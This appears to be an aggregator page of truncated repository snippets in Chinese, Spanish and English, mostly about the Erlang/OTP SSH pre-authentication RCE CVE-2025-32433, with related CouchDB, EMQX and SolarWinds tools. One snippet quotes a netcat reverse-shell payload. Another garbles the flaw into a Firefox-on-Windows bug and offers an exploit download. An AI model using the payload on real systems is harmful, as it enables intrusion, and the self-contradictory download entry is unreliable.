Erlang-OTP-SSH-CVE-2025-32433

✅ Resultado El servidor respondió a un ID de mensaje SSH 80 0x50 — que está reservado para post-autenticación. Esto demuestra que el servidor acepta mensajes inválidos durante la fase de pre-autenticación, indicando un comportamiento vulnerable según lo definido en CVE-2025-32433. 📖 Resumen de la...

CVE-2025-32433-available-for-windows

CVE-2025-32433 漏洞信息: https://nvd.nist.gov/vuln/detail/CVE-2025-32433 POC root@kitploit: kdev :: /erlang/CVE-2025-32433 ‹main› » python3 cve-2025-32433.py -h usage: cve-2025-32433.py -h -d --host HOST --port PORT Exploit for CVE-2025-32433 Erlang OTP SSH server. options: -h, --help show this help...

solarflare

solarflare Credential Dumping Tool for SolarWinds Orion Blog post: https://malicious.link/post/2020/solarflare-release-password-dumper-for-solarwinds-orion/ Credit to @asolino, @gentilkiwi, and @skelsec for helping me figuring out DPAPI. root@kitploit: ============================================...

cve-2025-32433-erlang_ssh_rce_reproduction

CVE-2025-32433：Erlang/OTP SSH 守护进程预认证远程代码执行 CVSS 评分：10.0（严重） 状态：已在野外被积极利用 披露时间：2025 年 6 月 概述 CVE-2025-32433 是 Erlang/OTP 附带的 SSH 服务器实现（ssh 应用）中的一个严重未认证远程代码执行漏洞。该缺陷位于 认证完成之前 的 SSH 连接处理逻辑中，这意味着触发漏洞利用无需任何有效凭据。能够访问易受攻击的 Erlang SSH 端口（通常为 22，或 RabbitMQ、Riak、CouchDB 等使用的自定义端口）的攻击者，可以在目标系统上执行任意 shell 命令...

CVE-2017-12635_36

Lab7-CVE-2017-12635-12636 一、系统分析 识别攻击面 从环境中正在运行的内容开始。我列出所有活跃容器： docker ps 受害者暴露单一端口：5984 ⇒ 我直接对其使用curl以探测更多信息： curl -i http://192.168.3.137:5984/ 分析响应： 响应 ：HTTP/1.1 200 OK，证明端口5984上的服务处于活动状态，并且可以直接通过HTTP访问。 服务器标头 ：CouchDB/1.6.0 Erlang OTP/17 且 JSON主体 包含"version":"1.6.0"，确认这是 Apache CouchDB 1.6.0版...

CVE-2025-32433-Detection

Detección de CVE-2025-32433 Autor: te0rwx Creado: 2025-08-27 Actualizado 2026-08-16 Descripción Una regla YARA personalizada para detectar artefactos conocidos asociados con CVE-2025-32433 , una vulnerabilidad de ejecución remota de código RCE antes de la autenticación en Erlang/OTP SSH. La regla...

CVE-2025-32433

CVE-2025-32433：Erlang/OTP 的 SSH 服务器漏洞利用 信息 CVE-2025-32433：已在 Erlang/OTP 的 SSH 服务器中发现一个严重缺陷，该缺陷允许未经认证的攻击者实现远程代码执行。一次畸形的 SSH 握手即可绕过身份验证，并利用对 SSH 协议消息的不当处理。 受影响版本： = OTP-27.3.2 = OTP-26.2.5.10 = OTP-25.3.2.19 安装 您应首先安装易受攻击的实验环境，Docker 文件夹中有相关指南 root@kitploit: $ git clone...

CVE-2026-70399

A flaw was found in inets. An unauthenticated remote attacker can exploit a resource allocation vulnerability in the Erlang/OTP inets httpd component. This flaw allows the attacker to cause a denial of service by opening and holding open a large number of connections. The server fails to enforce...

CVE-2025-3243

CVE-2025-32433 Erlang SSH 库漏洞利用程序 针对 CVE-2025-32433 的概念验证漏洞利用程序，这是 Erlang 的 SSH 库中的一个严重漏洞，允许通过格式错误的 SSHMSGCHANNELREQUEST 数据包在认证前执行代码。 功能特性 原始漏洞利用程序 由 Matthew Keeley 编写 更新版本 由 Tyler Ramsbey 编写： 针对 LHOST 、LPORT 、RHOST 和 RPORT 的命令行参数 通过 argparse 提供内置帮助和用法 使用 os:cmd"nc LHOST LPORT -e /bin/sh". 的 Erla...

CVE-2026-15409-15410-Framework

1 CVE-2026-15409 | 2 CVE-2026-15410 SonicWall SMA1000 - SSRF → Erlang RCE → Root Privesc 漏洞利用框架与安全检测工具 仅限授权的安全测试使用。 ⚖️ 法律免责声明与责任使用 此工具仅供教育和授权的渗透测试目的使用。 作者和贡献者对该软件造成的任何滥用或损害概不负责。用户有责任确保在测试前已获得目标所有者的明确书面许可。未经授权访问计算机系统违反《计算机欺诈和滥用法》CFAA 及全球类似法律，属违法行为。 使用本软件即表示您同意： 仅在自己的系统或已获得明确许可的系统上使用。...

CVE-2025-32433_Erlang-OTP_PoC

CVE-2025-32433Erlang-OTP 该脚本是一个自定义安全工具，用于检测运行基于Erlang的SSH服务器系统中的关键预认证漏洞。 该脚本是一个自定义安全工具，用于检测运行基于Erlang的SSH服务器系统（例如嵌入式系统、物联网设备和某些后端服务中使用的系统）中的关键预认证漏洞。所测试的漏洞类似于CVE-2025-32433，该漏洞允许在SSH握手阶段进行未认证的远程命令执行。 工作原理 目标枚举： 接受单个IP:端口或从ips.txt和ports.txt中批量获取IP和端口。 逐行匹配IP和端口，以系统化地扫描环境。 SSH协议模拟：...

CVE-2025-32433

CVE-2025-32433 引言 本文件介绍了影响 Erlang/OTP 平台内置 SSH 服务器实现的漏洞 CVE-2025-32433 。 该漏洞是一种无需身份验证即可远程执行任意代码 RCE 的漏洞，影响多个 Erlang/OTP 分支（补丁发布前）： 27 版本至 27.3.3 26 版本至 26.2.5.11 25 版本至 25.3.2.20 Erlang/OTP 被广泛用作可扩展分布式系统的基础，并集成在许多知名项目的技术栈中（例如即时通讯软件、消息代理、高负载 Web 服务）。 SSH 基础库中存在关键的 RCE 漏洞，使得使用 Erlang/OTP 作为服务器或具有开放...

Apache-couchdb-CVE-2017-12635

Couchdb 垂直权限绕过漏洞（CVE-2017-12635） Apache CouchDB是一个开源数据库，专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式，JavaScript作为查询语言，MapReduce和HTTP作为API的NoSQL数据库。应用广泛，如BBC用在其动态内容展示平台，Credit Suisse用在其内部的商品部门的市场框架，Meebo，用在其社交平台（web和应用程序）。...

CVE-2025-32433-PoC

CVE-2025-32433: Erlang/OTP SSH 未认证远程代码执行 PoC 本仓库包含 CVE-2025-32433 的概念验证（PoC），该漏洞是影响 Erlang/Open Telecom Platform OTP SSH 服务器实现的一个严重未认证远程代码执行（RCE）漏洞。此 PoC 仅用于教育目的、安全研究和 CTF 挑战。 ⚠️ 免责声明 – 仅限教育与道德使用 ⚠️ 本 PoC 严格仅供教育和道德黑客目的使用。它旨在用于受控环境，例如隔离的虚拟机或 CTF 平台，并且您已获得明确许可进行安全测试。 切勿 将此 PoC...

CVE-2025-32433-Erlang-OTP-SSH-Unauthenticated-RCE

CVE-2025-32433 - Erlang/OTP SSH RCE PoC Overview PoC showing unauthenticated remote code execution in Erlang/OTP SSH server. By exploiting a flaw in SSH protocol message handling, an attacker can execute arbitrary commands on the target without valid credentials. CVE: CVE-2025-32433 CVSS Score:...

POC_CVE-2025-32433

⚠️ Aviso ético Este repositorio contiene código que demuestra un CVE real CVE-2025-32433. Úsalo solo en entornos donde tengas autorización explícita. Nunca pruebes este exploit contra sistemas que no poseas o administres. El uso no autorizado es ilegal, poco ético y perjudicial para la comunidad d...

CVE-2017-12635

CVE-2017-12635 CVE-2017-12635（Apache CouchDB 1.7.0 / 2.x ）或修改（PUT /users/org.couchdb.user:）他们拥有的文档。 每个 CouchDB 用户都以文档格式存储。这些文档包含几个必填字段，CouchDB 通过这些字段处理正确的身份验证过程。我们感兴趣的是 roles 字段。 roles 字段是用户角色列表。CouchDB 不提供任何内置角色，因此您可以根据需要自由定义自己的角色。但是，您不能在其中设置系统角色，例如 admin。此外，只有管理员才能为用户分配角色——默认情况下，所有用户都没有任何角色。 验证...

scannerl

Scannerl Scannerl is a modular distributed fingerprinting engine implemented by Kudelski Security. Scannerl can fingerprint thousands of targets on a single host, but can just as easily be distributed across multiple hosts. Scannerl is to fingerprinting what zmap is to port scanning. Scannerl wor...

CVE-2025-32433

CVE-2025-32433 Erlang/OTP SSH 服务器中存在一个严重漏洞，允许未经认证的远程代码执行 RCE。该缺陷存在于 SSH 协议消息处理机制中，使攻击者无需认证凭据即可执行任意命令。 影响 严重程度的漏洞，攻击者可能能够：- 绕过浏览器的沙箱保护 - 执行任意代码 - 破坏系统完整性 - 未经授权访问系统资源 此漏洞专门针对 Windows 上的 Firefox，并且已在野外被积极利用。如果 SSH 守护进程以 root 身份运行，攻击者将获得对该设备的完全访问权限 漏洞利用: 在此下载 详细信息 CVE ID : CVE-2025-32433 发布日期 :...

CVE-2025-52136

CVE-2025-52136 root@kitploit: https://github.com/ricardojoserf/emqx-RCE La forma original de explotación consiste en subir un plugin de EMQX, añadiendo en el código de la plantilla del plugin una llamada al módulo os de Erlang para ejecutar comandos del sistema y lograr RCE. En entornos con salid...